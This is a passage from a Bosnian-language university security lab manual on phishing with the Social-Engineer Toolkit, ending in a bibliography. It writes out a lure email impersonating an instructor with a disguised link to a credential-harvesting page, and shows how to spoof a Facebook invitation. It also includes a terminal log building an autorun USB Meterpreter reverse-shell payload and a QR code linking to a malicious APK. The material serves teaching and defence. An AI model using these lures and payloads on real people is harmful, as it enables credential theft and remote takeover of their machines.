Do you want to attach a file - [y/n]: n
Ovo je pogodna opcija za masovno slanje datoteke sa zlonamjernim softverom
koji moze biti nesto poput onog napravljenog u poglavlju 11.

Sada je potrebno unijeti naslov za poruku e-poste;
> Email subject:FB grupa za vjezbe iz TS

potrebno je izabrati da li se poruka Salje kao ¢isti (plain) tekst ili HTML.
Izabrana je HTML opcija jer se zeli podmetnuti lazni link:
> Send the message as html or plain? ’h’ or ’p’ [p]l:h
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Sada je potrebno unijeti tekst poruke, uz SET napomenu da se kraj poruke
oznacava sa velikim slovima END. Ranije je u tekst editoru pripremljena slijedeéa
poruka:

Dragi studenti,

nesto me zeza ovaj fakultetski server, a hitno je, pa vam piSem sa svoje
Gmail adrese.

Napravio sam Facebook grupu koju €emo koristiti na sutraSnjim

vjezbama. Obavezni ste se odmah danas prijavite u nju, da sutra ja ne
gubim vrijeme, a vi bodove :-).

Grupa je: <a href://192.168.10.134> TS_vjezba
(https://wuw.facebook.com/groups/567927103400373/) </a>

Pozdrav do sutra,

Sasa

Poruka ima sve elemente phishing poruke: dolazi, navodno, od autoriteta
(predmetni nastavnik), hitnost (mora do sutra), bitnost (ako se ne uradi gube
se bodovi), ima link koji navodno vodi do jedne (Facebook grupa TS_vjezba ht-
tps://www.facebook.com/groups/567927103400373/), a zapravo vodi do druge
(http://192.168.10.134) lokacije. Poruka ¢e biti poslana sa adrese koja je sliéna
pravoj, ali nije ista (i u opstem slucaju nije pod kontrolom iste osobe). Poruka
je pisana tonom predmetnog nastavnika, opravdava zasto je poslana sa Gmail
adrese, uz pretpostavku da ¢e zrtve zbog hitnosti previdjeti razliku u prezimenu.

Ova poruka je sada upisan u SET konzolu. Slika 14.5 prikazuje dio gore opi-
sanog procesa.

Poruka koju dobije korisnik prikazana je na slici 14.6.

Ako zrtva nasjedne na prevaru i klikne na link bi¢e odvedena na laznu Face-
book pocetnu stranicu koja se nalazi na http://192.168.10.134. Ako sada zrtva
unese svoje prijavne podatke SET ée ih prikupiti i prikazati napadacu. Zrtva
¢e biti proslijedena do prave pocetne Facebook stranice, kao i u prethodnom
primjeru. Ako se zrtva prijavi na Facebook, misleéi da je prvi put pogresno uku-
cala lozinku, i potrazi grupu ”TS_vjezba” vidjeée da grupa postoji i moze joj se
pokusati prikljuciti. Na ovaj nacin se od zrtve pokusSava prikriti ¢injenica da je
svoje pristupne podatke, u prvom pokusaju dostavila napadacu.

Ovu Facebook grupu napravio je napadac, autor, koji je na Facebook otvorio
profil vezan za prethodno napravljen Gmail adresu sa istim imenom Sasa Mdrovic.
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set:phishing> Path to the file to import into SET:/home/smrdovic/Documents/TS/ad
rese_za_phishing.txt

1. Use a gmail Account for your email attack.
2. Use your own server or open relay

ing> Your gmail email address:sasa.mdrovic
set ing> The FROM MAME the user will see:Sasa mraovic
Email password:
set:phishing> Flag this message/s as hlgh priority? [yes|no]:yes
Do you want to attach a file - [y/n]:
set: ing> Email subject:FB grupa za vjezbe iz TS
set:phishing> Send the message as html or plain? 'h' or 'p' [p]l:h
[!] IMPORTANT: When finished, type END (all capital) then hit {return} on a new
line.
set:phishing> Enter the body of the message, type END (capitals) when finished:
Next line of the body: Dragi studenti,
Next line of the body:
Next line of the body: nesSto me zeza ovaj fakultetski server, a hitno je,
Next line of the body: pa vam pisem sa svoje Gmail adrese.
Next line of the body: Napravio sam Facebook grupu koju éemo koristiti
Next line of the body: na sutrasnjim vjeZbama. Obavezni ste se odmah
Next line of the body: danas prijavite u nju, da sutra ja ne gubim vrijeme,
Next line of the body: a vi bodove :-).
Next line of the body:
Next line of the body: Grupa je:
Next line of the body: <a href://192.168.10.134> TS_vjezba (https://www.facebook
.com/groups/567927103400373/) </a>
Next line of the body:
Next line of the body: Pozdrav do sutra,
Next line of the body:
Next line of the body: Sasa
Next line of the body: END
[*] Sent e-mail number: 1 to address: zrtval@adresa.eposte.ba
[*] Sent e-mail number: 2 to address: zrtva2@druga.adresa.eposte.ba
[*] Sent e-mail number: 3 to address: sasa.mrdovic@etf.unsa.ba
[*] SET has finished sending the emails

Press <retur to continue

Slika 14.5: SET - Priprema phishing poruke

Ista grupa i profil mogu biti iskoristeni za pravljenje druge phishing poruke sa
istim ciljem. Kada je autor napravio grupu poslao je sebi na fakultetsku adresu
poziv za prikljuc¢enje grupi. To je legitiman poziv koji dolazi od Facebook. Poruka
koja sadrzi taj poziv sad moze biti izmijenjena i iskoristena kao phishing poruka.
Originalna poruka je prikazana na slici 14.7.

Elementi poruke koje treba promijeniti su ime posiljaoca, u "From” polju
i tekstu poziva, te lokaciju do koje vode linkovi u poruci. Napravljena je na
ovakav nac¢in izmijenjena poruka. Za njeno slanje nije koristen SET, ve¢ jedan
od javno dostupnih i besplatnih web lokacija za slanje poruka e-poste sa lazne
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4y Reply =+ Forward Archive | g Junk @ Delete  More =
From Sasa Mrdovic <sasa.mdrovic@gmail.com> i
Subject FB grupa za vjezbe iz TS 12:02

To Sasa Mrdovic

Dragi studenti, nesto me zeza ovaj fakultetski server, a hitno je, pa vam pisem
sa svoje Gmail adrese. Napravio sam Facebook grupu koju cemo koristiti na
sutrasnjim vjezbama. Obavezni ste se odmah danas prijavite u nju, da sutra ja
ne gubim vrijeme, a vi bodove :-). Grupa je: TS vjezbe
{https://www.facebook.com/groups/567927103400373/) . Pozurite, Sasa

Slika 14.6: Primljena phishing poruka

From Sasa Mdrovic <notification+&c2FzYS5temBwvdmQGYIZI3 TbnNhLm)h@face... 1
Subject Sasa Mdrovic invited you to join TS_vjezba group 815
Reply to noreply <noreply@facebookmail.com: i

To Sasa Mrdovic

n Facebook

Sasa Mdrovic has invited you to the group TS vjezba.

« Share photos and videos

« Collaborate on projects

« Create events and polls

GFDUF}S are separate spaces where You can:

Slika 14.7: Pravi Facebook poziv za prikljucenje grupi
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adrese ”"Emkei’s Mailer” (https://emkei.cz/). Iskoristena je moguénost upotrebe
HTML editora na ovoj lokaciji. Kopirana je prava HTML poruka i onda su u
njoj izmijenjeni zeljeni dijelovi. Na slici 14.8 je prikazan proces pravljenja lazne
poruke na ovoj web lokaciji.

Kada je ova izmijenjena poruka primljena izgledala je identi¢no kao i origi-
nalna, osim §to je pisalo pravo prezime autora, kao navodnog posiljaoca, i link nije
vodio na Facebook veé na lokaciju pod kontrolom napadaca (http://192.168.10.134/),
Na slici 14.9 moze se vidjeti ova poruka, a na dnu poruke je adresa na koju vodi
link sa tekstom ”T'S_vjezba.

Poruke e-poste mogu biti iskoriStene i da se zrtva namami da pristupi web
lokaciji sa koje ¢e biti posluzen kod koji ¢e iskoristiti potencijalni propust u web
pregledniku. To bi bio pocetak napada opisanog u poglavlju 10.

SET c¢ak omogucava da se pripremi i web lokacija koja ¢e posluziti izabrani
Metasploit zlonamjerni kod web pregledniku. Ovo je moguce zbog dobre integra-
cije SET sa Metasploit.

SET nudi moguénost generisanja prenosivih medija na koje smjesta zlonamjerni
softver koji se sam pokrece. Do ove moguénosti se dolazi preko stavki menija:
1) Social-Engineering Attacks

3) Infectious Media Generator

Sada je moguce izabrati vrstu napada:
1) File-Format Exploits
2) Standard Metasploit Executable

Prva opcija oslanja se na pravljenje datoteke koja koristi potencijalni si-
gurnosni propust na racunaru zrtve. Druga opcija pravi izvrsnu datoteku koja
izvrSava neki od izabranih Metasploit kodova payload. Izabrana je druga opcija.

Od ponudenih payload izabran je:
2) Windows Reverse_TCP Meterpreter

Sada je bilo potrebno, kako je standardno radeno kod Metasploit-a, izabrati
IP adresu i port na kojim ¢ée biti prihva¢ena Meterpreter sesija od zrtve. Izabrani
su IP adresa ra¢unar na kom je pokrenut SET i port 443.
> IP address for the payload listener (LHOST):192.168.10.134
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From Name: |Sasa Mrdovic

From E-mail: |n0tiﬁcation+hc2FzYS StemRvdmljQGEVOZiS1bnMhLmIh@facebookmail.com

To: |Sasa.mrdwic@etf.unsa.ba

Subject: |Sasa Mrdovic invited you to join TS_vjezba group

Attachment:  prowse... | No file selected.
Attach another file
Advanced Settings

ntent-Type: O text/plain ® text/html ] Editor

Text! i+ nsert~ View~ Format~ Table~ Tools~

" ® romas~ B F =

EL.E-EE P

Sasa Mrdovic has invited you to the
group TS vjezba.

# Share photos and videos
# Collaborate on projects

# Create events and polls

Groups are separate spaces where you can:

Slika 14.8: Emkei’s Mailer - pravljenje lazne poruke



312 14 VJEZBA: Ljudski faktor - Analiza i pravljenje phishing poruka elektronske poste

@ Sasa Mrdovic invited you to join TS_vjezba group - Mozilla Thunderbird — [m| X
File Edit View Go Message Enigmail Tools Help
& Get Messages |~ [ Write ®® Chat 2 Address Book Tag = =

4y Reply <@y ReplyAll |~ = Forward More =
From Sasa Mrdovic <notification+Ac2FzV55temBvdmljQGVIZIS T bnMNhLmIh@f...
Subject Sasa Mrdovic invited you to join TS_vjezba group &15
Reply to noreply <noreply@facebookmail.coms

To Sasa Mrdovic

n Facebook

Sasa Mrdovic has invited you to the group TS_vjezba.

« Share photos and videos

« Collaborate on projects

« Create events and polls

Groups are separate spaces where you can:

L

B hitp://192.168.10.134/

Slika 14.9: Lazni Facebook poziv za prikljuc¢enje grupi

> Enter the PORT for the reverse listener:443

Nakon toga SET generise datoteke autorun.inf i program.exe u folderu
autorun, te ispisuje lokaciju tog foldera. Sadrzaj foldera autorun, ove dvije dato-
teke treba prebaciti u osnovni (root), folder prenosivog medija (USB, CD, DVD).
Datoteka autorun.inf ima samo tri linije: [autorun]
open=program.exe
icon=autorun.ico
i omogucava da se datoteka program.exe automatski pokrene nakon ubacivanje
medija u ra¢unar, ako je na ra¢unaru podeSen Autorun.

SET takode sam pokreée Metasploit i aktivira prihvat Meterpreter sesije, i o
tome ispisuje informaciju.
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Kada se program.exe pokrene na ra¢unaru zrtve uspostavlja se meterpreter
sesija sa ra¢unarom napadaca. Ovaj proces prikazan je na slici 14.10.

]
D
|+

yayloads> IP address for the payload listener (LHOST):192.168.10.134
:pavloads> Enter the PORT for the reverse listener:443

*] Generating the payload.. please be patient.

[*] Payload has been exported to the default SET directory located under: fhome/
smrdovic/.set//payload.exe

[*] Your attack has been created in the SET home directory (/root/.set/) folder
'autorun'

[*] Note a backup copy of template.pdf is also in /root/.set/template.pdf if nee
ded.

[-]1 Copy the contents of the folder to a CD/DVD/USB to autorun

set> Create a listener right now [yes|no]: yes

[*] Launching Metasploit.. This could take a few. Be patient! Or else no shells
for you..

]
il
|+

(]

|

=[ metasploit v4.13.5-dev 1
+ -- --=[ 1687 exploits - 914 auxiliary - 276 post 1
+ -- --=[ 458 payloads - 39 encoders - 9 nops 1
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/ftrymsp ]

[*] Processing /home/smrdovic/.set/meta_config for ERB directives.
resource (/home/smrdovic/.set/meta_config)> use multi/handler
resource (/home/smrdovic/.set/meta_config)> set payload windows/meterpreter/reve
rse_tcp

payload => windows/meterpreter/reverse_tcp

resource (/home/smrdovic/.set/meta_config)> set LHOST 192.168.10.134
LHOST => 192.168.10.134

resource (/home/smrdovic/.set/meta_config)> set LPORT 443

LPORT => 443

resource (/home/smrdovic/.set/meta_config)> set ExitOnSession false
ExitOnSession => false

resource (/home/smrdovic/.set/meta_config)> exploit -j

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.160.134:443

[*] Sstarting the payload handler...

[*#] Sending stage (957999 bytes) to 192.168.10.143

[*] Meterpreter session 1 opened (192.168.10.134:443 -> 192.168.10.143:49264) at
2016-12-27 12:40:39 +0100

Slika 14.10: SET - Kreiranje zlonamjernog softvera i povezivanje sa Metasploit

SET podrzava uvezivanje sa Metasploit i kroz druge napade koje omogucava.
Moguce je koristenje Metasploit za kod koji ée se poslati ili posluziti aplikaciji
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koja ima sigurnosni propust, kao i za pokretanje servera koji ¢e prihvacati po-
vratne konekcije od zZrtve.

Jo§ jedna od moguénosti koju SET nudi je generisanje QR kodova. Ova
moguénost moze biti koriStena za napade na mobilne uredaje. QR kodovi se
generisu izborom slijedeéih stavki SET menija:

1) Social-Engineering Attacks
8) QRCode Generator Attack Vector

Ako Pillow i gqrcode nisu instalirani pojavic¢e se upozorenje o potrebi njiho-
vog instaliranja.

[!] This module requires PIL (Or Pillow) and qrcode to work properly.
Da bi se instalirale ove komande prvo je potrebno instalirati PIP komandom:
sudo apt install python-pip

A zatim instalirati Pillow i qrcode komandama:
pip install Pillow
pip install qrcode

Nakon ovoga moze biti potreban SET restart.

Kada se ponovo prode kroz stavke SET menija:
1) Social-Engineering Attacks
8) QRCode Generator Attack Vector

potrebno je unijeti URL na koji QR kod treba da pokazuje. Uneseno je da
pokazuje na lokaciju na kojoj se nalazi zlonamjerna APK datoteka, poput one
napravljene u prethodnom poglavlju.

Enter the URL you want the QRCode to go to (99 to exit):
http://192.168.10.143/zli.apk

Potom SET ispisuje poruku da je QR kod generisan i putanju do datoteke u
koju je QR kod pohranjen.
[*] QRCode has been generated under
/home/smrdovic/.set/reports/qrcode_attack.png

Generisani QR kod je prikazan na slici 14.11.
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Slika 14.11: QR kod sa linkom na APK datoteku

Kada se ovaj QR kod procita na Android uredaju preuzima se APK dato-
teka na koji pokazuje (uz saglasnost korisnika). Ovu saglasnost mogucée je dobiti
pogodnom pripremom ili ubacivanjem QR u poruku e-poste koja kaze da je to
azuriranje aplikacije.






Literatura

10.

11.

12.

13.

14.

. Wade Alcorn, Christian Frichot, and Michele Orru. The Browser Hacker’s Hand-

book. Wiley, 2014.

Tom Ritter Alex Balducci, Sean Devlin. Open crypto audit project truecrypt - cryp-
tographic review. https://opencryptoaudit.org/reports/TrueCrypt_Phase_II_
NCC_OCAP_final.pdf, 2015. [Online; pristupano 16.4.2015.].

Ross Anderson, Eli Biham, and Lars Knudsen. Serpent: A proposal for the advanced
encryption standard. NIST AES Proposal, 174, 1998.

PSLM Barreto and Vincent Rijmen. The whirlpool hash function, 2006.

Matt Bishop. Introduction to Computer Security. Addison-Wesley Professional,
2004.

Luca Carettoni. Instant Burp Suite Starter. Packt Publishing, 1st edition, 2013.
Dominic Chell, Tyrone Erasmus, Shaun Colley, and Ollie Whitehouse. The Mobile
Application Hacker’s Handbook. Wiley, 2015.

Brendan Coles. Beef project wiki. https://github.com/beefproject/beef/wiki,
2017. [Online; pristupano 10.11.2017.].

Gibson Research Corporation. Yes . . . Truecrypt is still safe to use. https://wuw.
grc.com/misc/truecrypt/truecrypt.htm, 2014. [Online; pristupano 14.4.2015.].
Hans Dobbertin, Antoon Bosselaers, and Bart Preneel. Ripemd-160: A strengthened
version of ripemd. In Fast Software Encryption, pages 71-82. Springer, 1996.
Joshua J. Drake, Zach Lanier, Collin Mulliner, Pau Oliva Fora, Stephen A. Ridley,
and Georg Wicherski. Android Hacker’s Handbook. Wiley, 2014.

Social Engineer. Social engineer toolkit (set). http://www.social-engineer.org/
framework/se-tools/computer-based/social-engineer-toolkit-set/, 2014.
[Online; pristupano 23.12.2016.].

Jon Erickson. Hacking: The Art of Fxploitation, 2nd edition. No Starch Press, San
Francisco, CA, USA, second edition, 2008.

FIRST. Common vulnerability scoring system v3.0: Specification document. https:
//www.first.org/cvss/cvss-v30-specification-v1.7.pdf, 2015. [Online; pris-
tupano 14.11.2016.].



318

15.

16.

17.

18.

19.

20.
21.

22.

23.

24.

25.

26.

27.

28.

29.

30.

31.

32.

33.

34.

Literatura

TrueCrypt Foundation. Truecrypt User’s Guide. https://www.grc.com/misc/
truecrypt/TrueCryptUserGuide.pdf, 2012. [Online; pristupano 14.4.2015.].
Gordon Lyon Fyodor. Sectools.Org: Top 125 Network Security Tools. http://
sectools.org/, 2016. [Online; pristupano 14.10.2016.].

A. Barth J. Hodges, C. Jackson. HTTP Strict Transport Security (HSTS). RFC
6797, RFC Editor, August 2012.

Collin Jackson and Adam Barth. Forcehttps: Protecting high-security web sites
from network attacks. In Proceedings of the 17th International Conference on World
Wide Web, WWW °08, pages 525-534, New York, NY, USA, 2008. ACM.

Jan Kancirlz, Brian Baskin, and Thomas Wilhelm. Netcat Power Tools. Syngress,
2008.

David Kennedy. SET User Manual. TrustedSec, 2013.

David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni. Metasploit: The
Penetration Tester’s Guide. No Starch Press, 2011.

Auguste Kerckhoffs. La cryptographie militaire - Partie I. Journal des sciences
malitaires, 1X:5-83, Jan 1883.

Auguste Kerckhoffs. La cryptographie militaire - Partie II. Journal des sciences
militaires, 1X:161-191, Feb 1883.

Peter Kim. The Hacker Playbook 2: Practical Guide To Penetration Testing. Cre-
ateSpace Independent Publishing Platform, 2015.

Brian Krebs. True goodbye: ‘Using Truecrypt is
not secure’. http://krebsonsecurity.com/2014/05/
true-goodbye-using-truecrypt-is-not-secure/, 2014. [Online; pristupano
14.4.2015.].

Gordon Fyodor Lyon. Nmap Network Scanning: The Official Nmap Project Guide

to Network Discovery and Security Scanning. Nmap Project, 2009.
Moxie Marlinspike. =~ New tricks for defeating ssl in practice. Black Hat,

2009. https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/
BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf [Online; pristupano
22.10.2017.].

Kevin D. Mitnick and William L. Simon. The Art of Deception: Controlling the
Human Element of Security. Wiley, 1st edition, 2003.

Massimiliano Montoro. Cain & abel - user manual. http://www.oxid.it/ca_um/,
2011. [Online; pristupano 4.6.2015.].

Mozilla. Installing Thunderbird on Linux. https://support.mozilla.org/en-US/
kb/installing-thunderbird-1linux, 2015. [Online; pristupano 19.3.2015.].
Mozilla.  Installing Thunderbird on Windows. https://support.mozilla.
org/en-US/kb/installing-thunderbird-windows, 2015. [Online; pristupano
19.3.2015.].

Sasa Mrdovié. Sigurnost racunarskih sistema. Elektrotehnicki fakultet Univerziteta
u Sarajevu, 2014.

Evi Nemeth, Garth Snyder, Trent R. Hein, and Ben Whaley. UNIX and Linux
System Administration Handbook. Prentice Hall, 4th edition, 2010.

nmap.org. Nmap Documentation. https://nmap.org/docs.html, 2015. [Online;
pristupano 28.10.2016.].



35.

36.

37.

38.

39.

40.

41.

42.

43.

44.

45.

46.

47.

48.

49.

50.

51.

52.

53.

Literatura 319

Philippe Oechslin. Making a faster cryptanalytic time-memory trade-off. In Dan
Boneh, editor, Advances in Cryptology - CRYPTO 2003, volume 2729 of Lecture
Notes in Computer Science, pages 617-630. Springer Berlin Heidelberg, 2003.

US Department of Commerce. Advanced Encryption Standard (AES), 2001. In
FIPS PUB 197, Federal Information Processing Standards Publication.

US Department of Commerce. Secure Hash Standard, 2012. In FIPS PUB 180-2,
Federal Information Processing Standards Publication.

Aleph One. Smashing the stack for fun and profit. Phrack Magazine 49, 1996.
http://phrack.org/issues/49/14 .html [Online; pristupano 11.11.2015.].

Charlie Osborne. Security researcher publishes 10 million passwords,
usernames online. ZDNet, 2015. http://www.zdnet.com/article/
security-researcher-publishes-10-million-passwords-usernames-online/
[Online; pristupano 11.8.2015.].

PortSwigger. Burp Suite Documentation. https://portswigger.net/burp/help/,
2016. [Online; pristupano 28.11.2016.].

Mailvelop Project. Mailvelope Documentation. https://www.mailvelope.com/
help, 2015. [Online; pristupano 23.3.2015.].

Rapid7. Metasploit Installation Guide for Linux. https://community.rapid?7.com/
docs/D0C-2100, 2014. [Ounline; pristupano 14.10.2016.].

Rapid7. Metasploit Installation Guide for Windows. https://community.rapid?7.
com/docs/D0C-2099, 2014. [Online; pristupano 14.10.2016.].

Rapid7. Metasploit Documentation, Help and Support. https://community.
rapid7.com/docs/D0C-2227, 2015. [Online; pristupano 23.11.2016.].

Daniel Regalado, Shon Harris, Allen Harper, Chris Eagle, Jonathan Ness, Branko
Spasojevic, Ryan Linn, and Stephen Sims. Gray Hat Hacking The Ethical Hacker’s
Handbook. McGraw-Hill Education Group, 4th edition, 2015.

Mark E. Russinovich and Aaron Margosis. Windows Sysinternals Administrator’s
Reference. Microsoft Press, 1st edition, 2011.

Bruce Schneier, John Kelsey, Doug Whiting, David Wagner, Chris Hall, and Niels
Ferguson. The Twofish Encryption Algorithm: A 128-bit Block Cipher. John Wiley
& Sons, Inc., New York, NY, USA, 1999.

Offensive Security. Metasploit unleashed - the ultimate guide to the metasploit fra-
mework. https://www.offensive-security.com/metasploit-unleashed/, 2017.
[Online; pristupano 20.11.2017.].

Tenable Network Security. User Guides. https://docs.tenable.com/, 2016.
[Online; pristupano 14.11.2016.].

Simon Singh. The Code Book: The Science of Secrecy from Ancient Egypt to Qu-
antum Cryptography. Anchor, reprint edition, 2000.

Edward Skoudis and Tom Liston. Counter Hack Reloaded: A Step-by-Step Guide
to Computer Attacks and Effective Defenses. Prentice Hall, 2nd edition, 2006.
Dug Song. dsniff. https://monkey.org/~dugsong/dsniff/, 2011. [Online; pristu-
pano 22.10.2017.].

Android Studio. Sign your app. https://developer.android.com/studio/
publish/app-signing.html#certificates-keystores, 2017. [Online; pristupano
22.8.2017.].



320 Literatura

54. Dafydd Stuttard and Marcus Pinto. The Web Application Hacker’s Handbook:
Discovering and FExploiting Security Flaws. Wiley, 2nd edition, 2011.

55. Microsoft Technet. Microsoft Windows 2000 security hardening guide. http:
//technet .microsoft.com/en-us/library/dd277300.aspx, 2003. [Online; pristu-
pano 27.6.2013.].



DINOTHN VSVS 'VINALSIS HISYVNNDIVY ILSONANOIS WNXILIVAC




	Praktikum_SRS_biblioteke-1
	Praktikum_SRS_biblioteke
	23

